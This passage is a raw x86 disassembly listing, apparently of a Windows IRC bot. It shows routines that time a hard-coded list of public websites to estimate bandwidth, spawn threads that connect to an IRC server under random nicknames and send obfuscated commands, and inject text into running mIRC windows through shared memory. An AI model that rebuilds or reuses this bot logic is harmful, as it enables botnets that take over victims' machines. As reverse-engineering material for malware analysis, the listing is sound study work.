-64h var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 134h mov eax, [ebp+arg_0] push ebx push esi push edi push 26h mov esi, eax pop ecx lea edi, [ebp+var_134] rep movsd mov dword ptr [eax+94h], 1 mov eax, [ebp+var_134] mov [ebp+arg_0], eax mov [ebp+var_4], 3 mov [ebp+var_9C], offset aWww_schlund_ne ; "www.schlund.net" mov [ebp+var_98], offset aWww_utwente_nl ; "www.utwente.nl" mov [ebp+var_94], offset aWww_news_nl ; "www.news.nl" mov [ebp+var_90], offset aWww_volkskrant ; "www.volkskrant.nl" mov [ebp+var_8C], offset aVerio_fr ; "verio.fr" mov [ebp+var_88], offset aWww_univAngers ; "www.univ-angers.fr" mov [ebp+var_84], offset aWww_uniTuebing ; "www.uni-tuebingen.de" mov [ebp+var_80], offset aWww_rollingsto ; "www.rollingstone.de" mov [ebp+var_7C], offset aWww_rtv_de ; "www.rtv.de" mov [ebp+var_78], offset aWww_1und1_de ; "www.1und1.de" mov [ebp+var_74], offset aWww_switch_ch ; "www.switch.ch" mov [ebp+var_70], offset aWww_hon_ch ; "www.hon.ch" mov [ebp+var_6C], offset aWww_epfl_ch ; "www.epfl.ch" mov [ebp+var_68], offset aWww_supergames ; "www.supergames.cz" mov [ebp+var_64], offset aWww_nintendoEu ; "www.nintendo-europe.com" mov [ebp+var_60], offset aWww_google_com ; "www.google.com" mov [ebp+var_5C], offset aWww_xo_net ; "www.xo.net" mov [ebp+var_58], offset aWww_stanford_e ; "www.stanford.edu" mov [ebp+var_54], offset aWww_nocster_co ; "www.nocster.com" mov [ebp+var_50], offset aWww_rit_edu ; "www.rit.edu" mov [ebp+var_4C], offset aWww_cogentco_c ; "www.cogentco.com" mov [ebp+var_48], offset aWww_burst_net ; "www.burst.net" mov [ebp+var_44], offset aWww_level3_com ; "www.level3.com" mov [ebp+var_40], offset aWww_above_net ; "www.above.net" mov [ebp+var_3C], offset aWww_easynews_c ; "www.easynews.com" mov [ebp+var_38], offset aWww_apple_com ; "www.apple.com" mov [ebp+var_34], offset aWww_nintendo_c ; "www.nintendo.com" mov [ebp+var_30], offset aGamearena_com_ ; "gamearena.com.au" mov [ebp+var_2C], offset aWww_conexim_co ; "www.conexim.com.au" mov [ebp+var_28], offset aUnimelb_edu_au ; "unimelb.edu.au" mov [ebp+var_24], offset aWww_umin_ac_jp ; "www.umin.ac.jp" mov [ebp+var_20], offset aWww_lib_nthu_e ; "www.lib.nthu.edu.tw" mov [ebp+var_1C], offset aWww_nthu_edu_t ; "www.nthu.edu.tw" mov [ebp+var_18], offset aWww_nintendo_0 ; "www.nintendo.co.jp" mov [ebp+var_14], offset aWww_seikoWatch ; "www.seiko-watch.co.jp" mov [ebp+var_10], offset aWww_bandai_co_ ; "www.bandai.co.jp" mov [ebp+var_C], offset aWww_pku_edu_cn ; "www.pku.edu.cn" mov [ebp+var_8], offset aWww_kaist_ac_k ; "www.kaist.ac.kr" call sub_429B9C push 0Fh xor edx, edx pop ecx div ecx push [ebp+edx*4+var_9C] call sub_425E18 mov esi, eax call sub_429B9C push 0Fh xor edx, edx pop ecx div ecx push [ebp+edx*4+var_9C] call sub_425E18 pop ecx test esi, esi pop ecx jz short loc_426196 test eax, eax jz short loc_426192 lea ebx, [eax+esi] shr ebx, 1 jmp short loc_426198 ; --------------------------------------------------------------------------- loc_426192: ; CODE XREF: sub_425FFA+18Fj mov ebx, esi jmp short loc_426198 ; --------------------------------------------------------------------------- loc_426196: ; CODE XREF: sub_425FFA+18Bj mov ebx, eax loc_426198: ; CODE XREF: sub_425FFA+196j ; sub_425FFA+19Aj call sub_429B9C push 0Ch xor edx, edx pop ecx div ecx push [ebp+edx*4+var_60] call sub_425E18 mov edi, eax call sub_429B9C push 0Ch xor edx, edx pop ecx div ecx push [ebp+edx*4+var_60] call sub_425E18 pop ecx test edi, edi pop ecx jz short loc_4261D9 test eax, eax jz short loc_4261D5 lea esi, [eax+edi] shr esi, 1 jmp short loc_4261DB ; --------------------------------------------------------------------------- loc_4261D5: ; CODE XREF: sub_425FFA+1D2j mov esi, edi jmp short loc_4261DB ; --------------------------------------------------------------------------- loc_4261D9: ; CODE XREF: sub_425FFA+1CEj mov esi, eax loc_4261DB: ; CODE XREF: sub_425FFA+1D9j ; sub_425FFA+1DDj call sub_429B9C push 0Bh xor edx, edx pop ecx div ecx push [ebp+edx*4+var_30] call sub_425E18 mov edi, eax call sub_429B9C push 0Bh xor edx, edx pop ecx div ecx push [ebp+edx*4+var_30] call sub_425E18 pop ecx test edi, edi pop ecx jz short loc_42621C test eax, eax jz short loc_426218 lea ecx, [eax+edi] shr ecx, 1 jmp short loc_42621E ; --------------------------------------------------------------------------- loc_426218: ; CODE XREF: sub_425FFA+215j mov ecx, edi jmp short loc_42621E ; --------------------------------------------------------------------------- loc_42621C: ; CODE XREF: sub_425FFA+211j mov ecx, eax loc_42621E: ; CODE XREF: sub_425FFA+21Cj ; sub_425FFA+220j test ebx, ebx jnz short loc_426233 test esi, esi jnz short loc_426233 test ecx, ecx jnz short loc_426233 pop edi pop esi xor eax, eax pop ebx leave retn 4 ; --------------------------------------------------------------------------- loc_426233: ; CODE XREF: sub_425FFA+226j ; sub_425FFA+22Aj ... xor eax, eax test ebx, ebx jz short loc_426240 mov edi, [ebp+var_4] mov eax, ebx jmp short loc_426243 ; --------------------------------------------------------------------------- loc_426240: ; CODE XREF: sub_425FFA+23Dj push 2 pop edi loc_426243: ; CODE XREF: sub_425FFA+244j test esi, esi jz short loc_42624B add eax, esi jmp short loc_42624C ; --------------------------------------------------------------------------- loc_42624B: ; CODE XREF: sub_425FFA+24Bj dec edi loc_42624C: ; CODE XREF: sub_425FFA+24Fj test ecx, ecx jz short loc_426254 add eax, ecx jmp short loc_426255 ; --------------------------------------------------------------------------- loc_426254: ; CODE XREF: sub_425FFA+254j dec edi loc_426255: ; CODE XREF: sub_425FFA+258j xor edx, edx div edi cmp [ebp+var_AC], 0 push eax push ecx push esi push ebx lea eax, [ebp+var_130] push offset a7_pak0onymn7ra ; "7.PaK0OnymN/7Razv/1FefF." push offset aSEuropeDKbitSU ; "%s ~ Europe[%d kbit/s] ~ USA[%d kbit/s]"... push eax push [ebp+arg_0] jnz short loc_426281 call sub_41CE4A jmp short loc_426286 ; --------------------------------------------------------------------------- loc_426281: ; CODE XREF: sub_425FFA+27Ej call sub_41CDD4 loc_426286: ; CODE XREF: sub_425FFA+285j add esp, 20h push [ebp+var_B0] call sub_423623 pop ecx push 0 call dword_437174 ; ExitThread sub_425FFA endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42629D proc near ; CODE XREF: sub_42045F+46Cp ; sub_4264CB+2Fp var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push esi push edi push 0 push 1 push 2 call dword_456FD0 ; socket mov edi, eax or esi, 0FFFFFFFFh cmp edi, esi jz short loc_426319 push 10h lea eax, [ebp+var_10] push 0 push eax call sub_429760 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+arg_4] call dword_456F38 ; ntohs push [ebp+arg_0] mov [ebp+var_E], ax call dword_456F7C ; inet_addr cmp eax, esi jnz short loc_4262FE push [ebp+arg_0] call dword_456FD4 ; gethostbyname test eax, eax jz short loc_426319 mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] loc_4262FE: ; CODE XREF: sub_42629D+4Bj mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push edi call dword_456EBC ; connect cmp eax, esi jnz short loc_42631D push edi call dword_456FF0 ; closesocket loc_426319: ; CODE XREF: sub_42629D+1Bj ; sub_42629D+58j mov eax, esi jmp short loc_42631F ; --------------------------------------------------------------------------- loc_42631D: ; CODE XREF: sub_42629D+73j mov eax, edi loc_42631F: ; CODE XREF: sub_42629D+7Ej pop edi pop esi leave retn sub_42629D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426323 proc near ; CODE XREF: sub_40A9FE+3C9Ap ; sub_40A9FE+3CA7p var_40 = byte ptr -40h var_36 = byte ptr -36h push ebp mov ebp, esp sub esp, 40h push ebx push esi push edi push 0C8h mov ebx, offset byte_660800 push 0 push ebx call sub_429760 push 10h mov esi, offset a0123456789abcd ; "0123456789ABCDEFGHIJKLMNOPQRSTUVWXWYZab"... pop ecx lea edi, [ebp+var_40] lea eax, [ebp+var_40] rep movsd push eax call sub_4293A0 add esp, 10h mov edi, eax xor esi, esi loc_42635B: ; CODE XREF: sub_426323+62j call sub_429B9C test esi, esi cdq jz short loc_426373 idiv edi mov al, [ebp+edx+var_40] mov byte_660800[esi], al jmp short loc_426381 ; --------------------------------------------------------------------------- loc_426373: ; CODE XREF: sub_426323+40j lea ecx, [edi-0Ah] idiv ecx mov al, [ebp+edx+var_36] mov byte_660800, al loc_426381: ; CODE XREF: sub_426323+4Ej inc esi cmp esi, 67h jl short loc_42635B pop edi mov eax, ebx pop esi pop ebx leave retn sub_426323 endp ; =============== S U B R O U T I N E ======================================= sub_42638E proc near ; CODE XREF: sub_40A9FE+2BE2p ; sub_40A9FE+2C90p ... arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] push offset asc_440D90 ; "\n" push edi call sub_42A5E0 pop ecx mov esi, offset dword_6608CC pop ecx loc_4263A6: ; CODE XREF: sub_42638E+42j cmp dword ptr [esi-4], 1 jnz short loc_4263C4 cmp dword ptr [esi], 0 jbe short loc_4263C4 push 0 push edi call sub_4293A0 pop ecx push eax push edi push dword ptr [esi] call dword_456F8C ; send loc_4263C4: ; CODE XREF: sub_42638E+1Cj ; sub_42638E+21j add esi, 410h cmp esi, offset dword_66D3EC jl short loc_4263A6 pop edi pop esi retn sub_42638E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4263D5 proc near ; CODE XREF: sub_4264CB+1B8p var_420 = byte ptr -420h var_220 = byte ptr -220h var_20 = dword ptr -20h var_1C = dword ptr -1Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 420h push ebx push esi mov esi, offset asc_43D938 ; " " push edi push esi push [ebp+arg_0] call sub_429C5E xor edi, edi pop ecx inc edi pop ecx mov [ebp+var_20], eax xor ebx, ebx loc_4263F9: ; CODE XREF: sub_4263D5+35j push esi push ebx call sub_429C5E mov [ebp+edi*4+var_20], eax inc edi pop ecx cmp edi, 8 pop ecx jl short loc_4263F9 cmp [ebp+var_20], ebx mov edi, [ebp+var_1C] jnz short loc_426420 cmp edi, ebx jnz short loc_426420 xor eax, eax inc eax jmp loc_4264C6 ; --------------------------------------------------------------------------- loc_426420: ; CODE XREF: sub_4263D5+3Dj ; sub_4263D5+41j push [ebp+var_20] mov esi, dword_437178 push offset aSpxmrGVbi0 ; "spxMr/G/vBI0" call esi ; dword_437178 test eax, eax push edi jnz short loc_426450 push offset a2nru_kpknx ; "/2nRu.KpKNx/" lea eax, [ebp+var_220] push offset aSS_0 ; "%s %s\n" push eax call sub_429B03 add esp, 10h jmp short loc_4264A5 ; --------------------------------------------------------------------------- loc_426450: ; CODE XREF: sub_4263D5+5Ej push offset a433 ; "433" call esi ; dword_437178 test eax, eax jz short loc_426467 push edi push offset a432 ; "432" call esi ; dword_437178 test eax, eax jnz short loc_4264C4 loc_426467: ; CODE XREF: sub_4263D5+84j push 200h lea eax, [ebp+var_420] push ebx push eax call sub_429760 lea eax, [ebp+var_420] push eax call sub_426761 lea eax, [ebp+var_420] push eax push offset aTugnf_mqsdr0 ; "TuGNF.mQSDR0" lea eax, [ebp+var_220] push offset aSS_0 ; "%s %s\n" push eax call sub_429B03 add esp, 20h loc_4264A5: ; CODE XREF: sub_4263D5+79j lea eax, [ebp+var_220] push ebx push eax call sub_4293A0 pop ecx push eax lea eax, [ebp+var_220] push eax push [ebp+arg_4] call dword_456F8C ; send loc_4264C4: ; CODE XREF: sub_4263D5+90j xor eax, eax loc_4264C6: ; CODE XREF: sub_4263D5+46j pop edi pop esi pop ebx leave retn sub_4263D5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4264CB proc near ; DATA XREF: sub_4266D3+71o var_4008 = byte ptr -4008h var_3008 = byte ptr -3008h var_2008 = byte ptr -2008h var_1008 = byte ptr -1008h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 4008h call sub_429B60 push ebx push esi mov esi, [ebp+arg_0] push edi imul esi, 410h xor edi, edi push dword_660AD4[esi] lea eax, dword_6608D4[esi] inc edi push eax mov dword_6608C8[esi], edi call sub_42629D pop ecx xor ebx, ebx cmp eax, edi pop ecx mov dword_6608CC[esi], eax jb loc_4266B3 mov edi, 1000h lea eax, [ebp+var_2008] push edi push ebx push eax call sub_429760 add esp, 0Ch call dword_437188 ; GetTickCount push eax call sub_429B8F lea eax, [ebp+var_2008] push eax call sub_426761 lea eax, [ebp+var_4008] push eax call sub_426761 lea eax, [ebp+var_3008] push eax call sub_426761 lea eax, dword_660AD8[esi] push eax push offset a7lybp1gunfm0_0 ; "7LybP1GuNfm0" lea eax, [ebp+var_1008] push offset aSS_0 ; "%s %s\n" push eax call sub_429B03 add esp, 20h lea eax, [ebp+var_1008] push ebx push eax call sub_4293A0 pop ecx push eax lea eax, [ebp+var_1008] push eax push dword_6608CC[esi] call dword_456F8C ; send push edi lea eax, [ebp+var_1008] push ebx push eax call sub_429760 lea eax, [ebp+var_3008] push eax lea eax, [ebp+var_4008] push eax lea eax, [ebp+var_2008] push offset a391myLxl28__0 ; "391mY/LxL28." push eax push offset aTugnf_mqsdr0 ; "TuGNF.mQSDR0" lea eax, [ebp+var_1008] push offset aSSSSMail_gmail ; "%s %s\n%s %s \"mail.gmail.com\" \"127.0.0.1"... push eax call sub_429B03 add esp, 28h lea eax, [ebp+var_1008] push ebx push eax call sub_4293A0 pop ecx push eax lea eax, [ebp+var_1008] push eax push dword_6608CC[esi] call dword_456F8C ; send push edi lea eax, [ebp+var_1008] push ebx push eax call sub_429760 add esp, 0Ch loc_42660D: ; CODE XREF: sub_4264CB+1E3j push edi lea eax, [ebp+var_1008] push ebx push eax call sub_429760 add esp, 0Ch lea eax, [ebp+var_1008] push ebx push edi push eax push dword_6608CC[esi] call dword_456F58 ; recv cmp eax, ebx mov [ebp+var_8], eax jle short loc_4266B3 xor eax, eax cmp [ebp+var_8], ebx jmp short loc_4266A9 ; --------------------------------------------------------------------------- loc_426641: ; CODE XREF: sub_4264CB+1E1j mov al, [ebp+eax+var_1008] cmp al, 0Dh jz short loc_426668 cmp al, 0Ah jz short loc_426668 cmp [ebp+arg_0], 0FA0h jz short loc_426668 mov ecx, [ebp+arg_0] inc [ebp+arg_0] mov [ebp+ecx+var_2008], al jmp short loc_4266A2 ; --------------------------------------------------------------------------- loc_426668: ; CODE XREF: sub_4264CB+17Fj ; sub_4264CB+183j ... mov eax, [ebp+arg_0] cmp eax, ebx jz short loc_4266A2 push dword_6608CC[esi] mov [ebp+eax+var_2008], bl lea eax, [ebp+var_2008] push eax call sub_4263D5 pop ecx test eax, eax pop ecx ja short loc_4266B3 push edi lea eax, [ebp+var_2008] push ebx push eax call sub_429760 add esp, 0Ch mov [ebp+arg_0], ebx loc_4266A2: ; CODE XREF: sub_4264CB+19Bj ; sub_4264CB+1A2j mov eax, [ebp+var_4] inc eax cmp eax, [ebp+var_8] loc_4266A9: ; CODE XREF: sub_4264CB+174j mov [ebp+var_4], eax jnz short loc_426641 jmp loc_42660D ; --------------------------------------------------------------------------- loc_4266B3: ; CODE XREF: sub_4264CB+40j ; sub_4264CB+16Dj ... mov dword_6608C8[esi], ebx mov esi, dword_6608CC[esi] cmp esi, ebx jbe short loc_4266CA push esi call dword_456FF0 ; closesocket loc_4266CA: ; CODE XREF: sub_4264CB+1F6j pop edi pop esi xor eax, eax pop ebx leave retn 4 sub_4264CB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4266D3 proc near ; CODE XREF: sub_40A9FE+2AA8p var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ecx and [ebp+var_4], 0 cmp [ebp+arg_8], 0 push ebx push esi push edi jle short loc_42675C mov edi, dword_4370B4 loc_4266EB: ; CODE XREF: sub_4266D3+87j xor ebx, ebx mov eax, offset dword_6608C8 loc_4266F2: ; CODE XREF: sub_4266D3+2Fj cmp dword ptr [eax], 0 jz short loc_426704 add eax, 410h inc ebx cmp eax, offset byte_66D3E8 jl short loc_4266F2 loc_426704: ; CODE XREF: sub_4266D3+22j cmp ebx, 31h jz short loc_42675C mov esi, ebx push [ebp+arg_0] imul esi, 410h lea eax, dword_6608D4[esi] push eax call edi ; dword_4370B4 mov eax, [ebp+arg_4] push [ebp+arg_C] mov dword_660AD4[esi], eax lea eax, dword_660AD8[esi] push eax call edi ; dword_4370B4 lea eax, [ebp+var_8] mov dword_6608C8[esi], 1 push eax xor eax, eax push eax push ebx push offset sub_4264CB push eax push eax call dword_437180 ; CreateThread inc [ebp+var_4] mov eax, [ebp+var_4] cmp eax, [ebp+arg_8] jl short loc_4266EB loc_42675C: ; CODE XREF: sub_4266D3+10j ; sub_4266D3+34j pop edi pop esi pop ebx leave retn sub_4266D3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426761 proc near ; CODE XREF: sub_40A9FE+31D4p ; sub_40A9FE+3F31p ... var_40 = byte ptr -40h var_2D = byte ptr -2Dh var_2C = byte ptr -2Ch var_2B = byte ptr -2Bh var_18 = qword ptr -18h var_10 = qword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 40h push 14h lea eax, [ebp+var_2C] push 0 push eax call sub_429760 add esp, 0Ch call dword_437188 ; GetTickCount push eax call sub_429B8F pop ecx call sub_429B9C mov [ebp+var_4], eax fild [ebp+var_4] fmul dbl_437398 call sub_42A9E0 cmp eax, 1 jnz short loc_4267B8 call sub_429B9C call sub_429B9C push 67h cdq pop ecx idiv ecx push off_44F6A0[edx*4] jmp short loc_4267D1 ; --------------------------------------------------------------------------- loc_4267B8: ; CODE XREF: sub_426761+3Cj call sub_429B9C call sub_429B9C cdq mov ecx, 0DFh idiv ecx push off_44F320[edx*4] loc_4267D1: ; CODE XREF: sub_426761+55j lea eax, [ebp+var_2C] push eax call dword_4370B4 ; lstrcpyA push ebx push esi lea eax, [ebp+var_2C] push edi push eax call sub_4293A0 pop ecx mov ebx, eax push 13h mov [ebp+var_4], ebx pop eax sub eax, ebx mov dword ptr [ebp+var_18+4], eax call sub_429B9C mov dword ptr [ebp+var_10+4], eax fild dword ptr [ebp+var_10+4] fmul dbl_437390 call sub_42A9E0 mov esi, eax call sub_429B9C mov dword ptr [ebp+var_10+4], eax fild dword ptr [ebp+var_10+4] fimul [ebp+var_4] fmul dbl_437388 call sub_42A9E0 cmp ebx, 2 mov edi, offset aAbcdefghijkl_0 ; "abcdefghijklmnopqrstuvwxyz1234567890-|`"... jle short loc_426843 cmp ebx, 3 jnz short loc_42683A cmp esi, 1 jz short loc_426843 loc_42683A: ; CODE XREF: sub_426761+D2j cmp eax, 1 jnz loc_4268FC loc_426843: ; CODE XREF: sub_426761+CDj ; sub_426761+D7j call sub_429B9C mov dword ptr [ebp+var_10+4], eax fild dword ptr [ebp+var_10+4] fmul dbl_437380 call sub_42A9E0 push off_44F6A0[eax*4] lea eax, [ebp+var_40] push eax call dword_4370B4 ; lstrcpyA lea esi, [ebp+ebx+var_2C] movsx eax, byte ptr [esi-1] push eax push edi call sub_42B1A0 pop ecx test eax, eax pop ecx jnz short loc_4268E9 movsx eax, [ebp+var_40] push eax push edi call sub_42B1A0 pop ecx test eax, eax pop ecx jnz short loc_4268E9 call sub_429B9C mov dword ptr [ebp+var_10+4], eax dec ebx fild dword ptr [ebp+var_10+4] mov dword ptr [ebp+var_10+4], ebx fild dword ptr [ebp+var_10+4] fmulp st(1), st fmul dbl_437388 call sub_42A9E0 cmp eax, 1 jnz short loc_4268E9 push edi call sub_4293A0 and dword ptr [ebp+var_10+4], 0 mov dword ptr [ebp+var_10], eax fild [ebp+var_10] pop ecx fstp qword ptr [ebp-8] call sub_429B9C mov dword ptr [ebp+var_10+4], eax fild dword ptr [ebp+var_10+4] fmul qword ptr [ebp-8] fmul dbl_437388 call sub_42A9E0 mov al, byte ptr aAbcdefghijkl_0[eax] ; "abcdefghijklmnopqrstuvwxyz1234567890-|`"... mov [esi], al loc_4268E9: ; CODE XREF: sub_426761+11Cj ; sub_426761+12Dj ... push dword ptr [ebp+var_18+4] lea eax, [ebp+var_40] push eax lea eax, [ebp+var_2C] push eax call sub_4299E0 add esp, 0Ch loc_4268FC: ; CODE XREF: sub_426761+DCj lea eax, [ebp+var_2C] push eax call sub_4293A0 mov esi, eax mov [ebp+var_4], esi movsx eax, [ebp+esi+var_2D] push eax call sub_42C524 pop ecx test eax, eax pop ecx jnz loc_426B53 movsx eax, [ebp+esi+var_2D] push eax push edi xor ebx, ebx call sub_42B1A0 pop ecx test eax, eax pop ecx jnz loc_426A55 call sub_429B9C mov dword ptr [ebp+var_18+4], eax lea eax, [esi+3] fild dword ptr [ebp+var_18+4] mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmulp st(1), st fmul dbl_437388 call sub_42A9E0 cmp esi, 3 jz short loc_426966 cmp eax, 1 jnz loc_426A55 loc_426966: ; CODE XREF: sub_426761+1FAj push 2 cdq pop ecx idiv ecx cmp edx, 1 jnz short loc_4269AA push edi call sub_4293A0 and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax fild [ebp+var_18] pop ecx fstp [ebp+var_10] call sub_429B9C mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul [ebp+var_10] fmul dbl_437388 call sub_42A9E0 mov al, byte ptr aAbcdefghijkl_0[eax] ; "abcdefghijklmnopqrstuvwxyz1234567890-|`"... mov [ebp+esi+var_2C], al jmp short loc_4269C8 ; --------------------------------------------------------------------------- loc_4269AA: ; CODE XREF: sub_426761+20Ej call sub_429B9C mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_437378 call sub_42A9E0 mov cl, 41h sub cl, al mov [ebp+esi+var_2C], cl loc_4269C8: ; CODE XREF: sub_426761+247j inc esi xor ebx, ebx mov [ebp+var_4], esi inc ebx call sub_429B9C mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_437370 call sub_42A9E0 cmp esi, 3 jz short loc_4269EE cmp eax, ebx jnz short loc_426A55 loc_4269EE: ; CODE XREF: sub_426761+287j push 2 pop ebx cdq mov ecx, ebx idiv ecx test edx, edx jnz short loc_426A33 push edi call sub_4293A0 and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax fild [ebp+var_18] pop ecx fstp [ebp+var_10] call sub_429B9C mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul [ebp+var_10] fmul dbl_437388 call sub_42A9E0 mov al, byte ptr aAbcdefghijkl_0[eax] ; "abcdefghijklmnopqrstuvwxyz1234567890-|`"... mov [ebp+esi+var_2C], al jmp short loc_426A51 ; --------------------------------------------------------------------------- loc_426A33: ; CODE XREF: sub_426761+297j call sub_429B9C mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_437378 call sub_42A9E0 mov cl, 41h sub cl, al mov [ebp+esi+var_2C], cl loc_426A51: ; CODE XREF: sub_426761+2D0j inc esi mov [ebp+var_4], esi loc_426A55: ; CODE XREF: sub_426761+1D0j ; sub_426761+1FFj ... cmp esi, 6 jge short loc_426AD5 call sub_429B9C cmp esi, 5 jge short loc_426A72 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_437390 jmp short loc_426A8B ; --------------------------------------------------------------------------- loc_426A72: ; CODE XREF: sub_426761+301j push 8 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] pop eax sub eax, esi mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmulp st(1), st fmul dbl_437388 loc_426A8B: ; CODE XREF: sub_426761+30Fj call sub_42A9E0 test eax, eax jnz short loc_426AAE call sub_429B9C mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_437368 call sub_42A9E0 mov cl, 30h jmp short loc_426ACB ; --------------------------------------------------------------------------- loc_426AAE: ; CODE XREF: sub_426761+331j cmp eax, 1 jnz short loc_426AD5 call sub_429B9C mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_437378 call sub_42A9E0 mov cl, 41h loc_426ACB: ; CODE XREF: sub_426761+34Bj sub cl, al mov [ebp+esi+var_2C], cl inc esi mov [ebp+var_4], esi loc_426AD5: ; CODE XREF: sub_426761+2F7j ; sub_426761+350j cmp ebx, 2 jge short loc_426B53 call sub_429B9C mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fimul [ebp+var_4] fmul dbl_437388 call sub_42A9E0 cmp eax, 1 jnz short loc_426B53 call sub_429B9C mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_437368 call sub_42A9E0 mov cl, 30h sub cl, al mov [ebp+esi+var_2C], cl call sub_429B9C mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_437360 call sub_42A9E0 cmp eax, 1 jnz short loc_426B53 cmp ebx, eax jge short loc_426B53 call sub_429B9C mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_437358 call sub_42A9E0 mov cl, 30h sub cl, al mov [ebp+esi+var_2B], cl loc_426B53: ; CODE XREF: sub_426761+1B8j ; sub_426761+377j ... lea eax, [ebp+var_2C] push 14h push eax push [ebp+arg_0] call sub_429D10 mov eax, [ebp+arg_0] add esp, 0Ch pop edi pop esi pop ebx leave retn sub_426761 endp ; =============== S U B R O U T I N E ======================================= sub_426B6C proc near ; CODE XREF: sub_40A9FE+4620p push esi mov esi, offset dword_6608CC loc_426B72: ; CODE XREF: sub_426B6C+2Dj cmp dword ptr [esi-4], 1 jnz short loc_426B85 mov eax, [esi] test eax, eax jbe short loc_426B85 push eax call dword_456FF0 ; closesocket loc_426B85: ; CODE XREF: sub_426B6C+Aj ; sub_426B6C+10j push dword ptr [esi] call dword_4372D8 ; closesocket add esi, 410h cmp esi, offset dword_66D3EC jl short loc_426B72 xor eax, eax pop esi retn sub_426B6C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426B9F proc near ; DATA XREF: sub_426CEB+Bo var_204 = byte ptr -204h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 204h push esi lea eax, [ebp+var_204] push 200h push eax push [ebp+arg_0] call dword_437270 ; GetClassNameA mov esi, offset aMirc ; "mIRC" lea eax, [ebp+var_204] push esi push eax call sub_42A8C0 pop ecx test eax, eax pop ecx jnz short loc_426C3D push ebx push esi xor esi, esi push 1000h push esi push 4 push esi push 0FFFFFFFFh call dword_4370C8 ; CreateFileMappingA push esi push esi mov ebx, eax push esi push 0F001Fh push ebx call dword_437040 ; MapViewOfFile push [ebp+arg_4] mov [ebp+var_4], eax push offset aS_5 ; "%s" push eax call dword_437278 ; wsprintfA add esp, 0Ch push esi push 1 push 4C8h push [ebp+arg_0] call dword_437274 ; SendMessageA push [ebp+var_4] call dword_437048 ; UnmapViewOfFile push ebx call dword_437044 ; CloseHandle mov dword_6607E8, 1 pop ebx loc_426C3D: ; CODE XREF: sub_426B9F+35j xor eax, eax pop esi inc eax leave retn 8 sub_426B9F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426C45 proc near ; DATA XREF: sub_426CEB+1Ao var_204 = byte ptr -204h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 204h push esi lea eax, [ebp+var_204] push 200h push eax push [ebp+arg_0] call dword_437270 ; GetClassNameA mov esi, offset aMirc32 ; "mIRC32" lea eax, [ebp+var_204] push esi push eax call sub_42A8C0 pop ecx test eax, eax pop ecx jnz short loc_426CE3 push ebx push esi xor esi, esi push 1000h push esi push 4 push esi push 0FFFFFFFFh call dword_4370C8 ; CreateFileMappingA push esi push esi mov ebx, eax push esi push 0F001Fh push ebx call dword_437040 ; MapViewOfFile push [ebp+arg_4] mov [ebp+var_4], eax push offset aS_5 ; "%s" push eax call dword_437278 ; wsprintfA add esp, 0Ch push esi push 1 push 4C8h push [ebp+arg_0] call dword_437274 ; SendMessageA push [ebp+var_4] call dword_437048 ; UnmapViewOfFile push ebx call dword_437044 ; CloseHandle mov dword_6607E8, 1 pop ebx loc_426CE3: ; CODE 